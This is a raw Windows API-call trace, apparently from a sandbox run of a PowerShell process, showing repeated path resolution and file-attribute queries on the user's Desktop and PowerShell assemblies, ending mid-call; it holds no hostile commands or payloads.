[0151.276] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2be1a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0151.276] GetLastError () returned 0xcb [0151.276] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2be154, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0151.276] GetLastError () returned 0xcb [0151.277] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2be154, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0151.277] GetLastError () returned 0xcb [0151.277] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2be154, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0151.277] GetLastError () returned 0xcb [0151.513] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6b5fb0, nSize=0x2be7a4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2be7a4) returned 0x1 [0151.516] GetLastError () returned 0x3 [0151.516] GetUserNameW (in: lpBuffer=0x67b350, pcbBuffer=0x2be7ac | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2be7ac) returned 1 [0151.518] ReportEventW (hEventLog=0x5000004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x34a8140*="Certificate", lpRawData=0x34a7ffc) returned 1 [0151.519] GetLastError () returned 0x0 [0151.550] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.550] GetLastError () returned 0xcb [0151.556] GetLogicalDrives () returned 0x4 [0151.556] GetLastError () returned 0xcb [0151.556] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x2be31c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.556] GetLastError () returned 0xcb [0151.556] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0151.556] GetLastError () returned 0xcb [0151.558] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x67b350 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0151.558] GetLastError () returned 0xcb [0151.562] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.563] GetLastError () returned 0xcb [0151.563] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.563] GetLastError () returned 0xcb [0151.617] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.617] GetLastError () returned 0xcb [0151.626] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.626] GetLastError () returned 0xcb [0151.627] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2be164, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.627] GetLastError () returned 0xcb [0151.627] SetErrorMode (uMode=0x1) returned 0x1 [0151.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x34afaac | out: lpFileInformation=0x34afaac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x645953e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x645953e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0151.627] GetLastError () returned 0xcb [0151.628] SetErrorMode (uMode=0x1) returned 0x1 [0151.628] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2be16c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.628] GetLastError () returned 0xcb [0151.628] SetErrorMode (uMode=0x1) returned 0x1 [0151.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x34afc60 | out: lpFileInformation=0x34afc60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x645953e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x645953e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0151.628] GetLastError () returned 0xcb [0151.628] SetErrorMode (uMode=0x1) returned 0x1 [0151.639] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.639] GetLastError () returned 0xcb [0151.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2be2b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.658] GetLastError () returned 0xcb [0151.660] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2be230, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.660] GetLastError () returned 0xcb [0151.660] SetErrorMode (uMode=0x1) returned 0x1 [0151.660] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x2be6b0 | out: lpFileInformation=0x2be6b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0151.660] GetLastError () returned 0xcb [0151.660] SetErrorMode (uMode=0x1) returned 0x1 [0151.661] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2be230, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.661] GetLastError () returned 0xcb [0151.662] SetErrorMode (uMode=0x1) returned 0x1 [0151.662] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x2be6b0 | out: lpFileInformation=0x2be6b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0151.662] GetLastError () returned 0xcb [0151.662] SetErrorMode (uMode=0x1) returned 0x1 [0151.662] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2be244, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.662] GetLastError () returned 0xcb [0151.662] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x2be1e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.662] GetLastError () returned 0xcb [0151.662] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x2be230, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0151.663] GetLastError () returned 0xcb [0151.663] SetErrorMode (uMode=0x1) returned 0x1 [0151.663] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x2be6b0 | out: lpFileInformation=0x2be6b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0151.663] GetLastError () returned 0xcb [0151.663] SetErrorMode (uMode=0x1) returned 0x1 [0151.663] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x2be230, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0151.663] GetLastError () returned 0xcb [0151.663] SetErrorMode (uMode=0x1) returned 0x1 [0151.664] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x2be6b0 | out: lpFileInformation=0x2be6b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0151.664] GetLastError () returned 0xcb [0151.664] SetErrorMode (uMode=0x1) returned 0x1 [0151.664] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x2be244, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0151.664] GetLastError () returned 0xcb [0151.664] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x2be1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0151.664] GetLastError () returned 0xcb [0151.664] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2be230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0151.664] GetLastError () returned 0xcb [0151.664] SetErrorMode (uMode=0x1) returned 0x1 [0151.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x2be6b0 | out: lpFileInformation=0x2be6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0151.665] GetLastError () returned 0xcb [0151.665] SetErrorMode (uMode=0x1) returned 0x1 [0151.665] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2be230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0151.665] GetLastError () returned 0xcb [0151.665] SetErrorMode (uMode=0x1) returned 0x1 [0151.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x2be6b0 | out: lpFileInformation=0x2be6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0151.665] GetLastError () returned 0xcb [0151.666] SetErrorMode (uMode=0x1) returned 0x1 [0151.666] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2be244, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0151.666] GetLastError () returned 0xcb [0151.666] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\.", nBufferLength=0x105, lpBuffer=0x2be1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0151.666] GetLastError () returned 0xcb [0151.666] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2be230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.666] GetLastError () returned 0xcb [0151.666] SetErrorMode (uMode=0x1) returned 0x1 [0151.666] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2be6b0 | out: lpFileInformation=0x2be6b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x645953e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x645953e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0151.666] GetLastError () returned 0xcb [0151.667] SetErrorMode (uMode=0x1) returned 0x1 [0151.667] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2be230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.667] GetLastError () returned 0xcb [0151.667] SetErrorMode (uMode=0x1) returned 0x1 [0151.667] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2be6b0 | out: lpFileInformation=0x2be6b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x645953e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x645953e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0151.667] GetLastError () returned 0xcb [0151.667] SetErrorMode (uMode=0x1) returned 0x1 [0151.667] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2be244, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.667] GetLastError () returned 0xcb [0151.667] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x2be1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.667] GetLastError () returned 0xcb [0151.776] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x2be23c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0151.776] GetLastError () returned 0xcb [0151.776] SetErrorMode (uMode=0x1) returned 0x1 [0151.776] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x2be6bc | out: lpFileInformation=0x2be6bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0151.776] GetLastError () returned 0xcb [0151.776] SetErrorMode (uMode=0x1) returned 0x1 [0151.777] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x2be23c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0151.777] GetLastError () returned 0xcb [0151.777] SetErrorMode (uMode=0x1) returned 0x1 [0151.777] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x2be6bc | out: lpFileInformation=0x2be6bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0151.777] GetLastError () returned 0xcb [0151.777] SetErrorMode (uMode=0x1) returned 0x1 [0151.778] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x2be250, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0151.778] GetLastError () returned 0xcb [0151.778] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x2be1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0151.778] GetLastError () returned 0xcb [0151.778] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2be23c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0151.778] GetLastError () returned 0xcb [0151.778] SetErrorMode (uMode=0x1) returned 0x1 [0151.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x2be6bc | out: lpFileInformation=0x2be6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0151.778] GetLastError () returned 0xcb [0151.779] SetErrorMode (uMode=0x1) returned 0x1 [0151.779] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2be23c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0151.779] GetLastError () returned 0xcb [0151.779] SetErrorMode (uMode=0x1) returned 0x1 [0151.779] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x2be6bc | out: lpFileInformation=0x2be6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0151.779] GetLastError () returned 0xcb [0151.779] SetErrorMode (uMode=0x1) returned 0x1 [0151.779] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2be250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0151.779] GetLastError () returned 0xcb [0151.779] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\.", nBufferLength=0x105, lpBuffer=0x2be1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0151.780] GetLastError () returned 0xcb [0151.780] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2be23c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.780] GetLastError () returned 0xcb [0151.780] SetErrorMode (uMode=0x1) returned 0x1 [0151.780] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2be6bc | out: lpFileInformation=0x2be6bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x645953e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x645953e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0151.780] GetLastError () returned 0xcb [0151.780] SetErrorMode (uMode=0x1) returned 0x1 [0151.780] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2be23c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.780] GetLastError () returned 0xcb [0151.780] SetErrorMode (uMode=0x1) returned 0x1 [0151.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2be6bc | out: lpFileInformation=0x2be6bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x645953e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x645953e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0151.781] GetLastError () returned 0xcb [0151.781] SetErrorMode (uMode=0x1) returned 0x1 [0151.781] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2be250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.781] GetLastError () returned 0xcb [0151.781] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x2be1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.781] GetLastError () returned 0xcb [0151.815] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2be30c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0151.815] GetLastError () returned 0xcb [0151.815] SetErrorMode (uMode=0x1) returned 0x1 [0151.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2dbf97c | out: lpFileInformation=0x2dbf97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x645953e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x645953e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0151.816] GetLastError () returned 0xcb [0151.816] SetErrorMode (uMode=0x1) returned 0x1 [0151.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be354, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.820] GetLastError () returned 0xcb [0151.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be304, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.820] GetLastError () returned 0xcb [0151.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be304, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.820] GetLastError () returned 0xcb [0151.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be304, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.820] GetLastError () returned 0xcb [0151.935] GetUserNameExW (in: 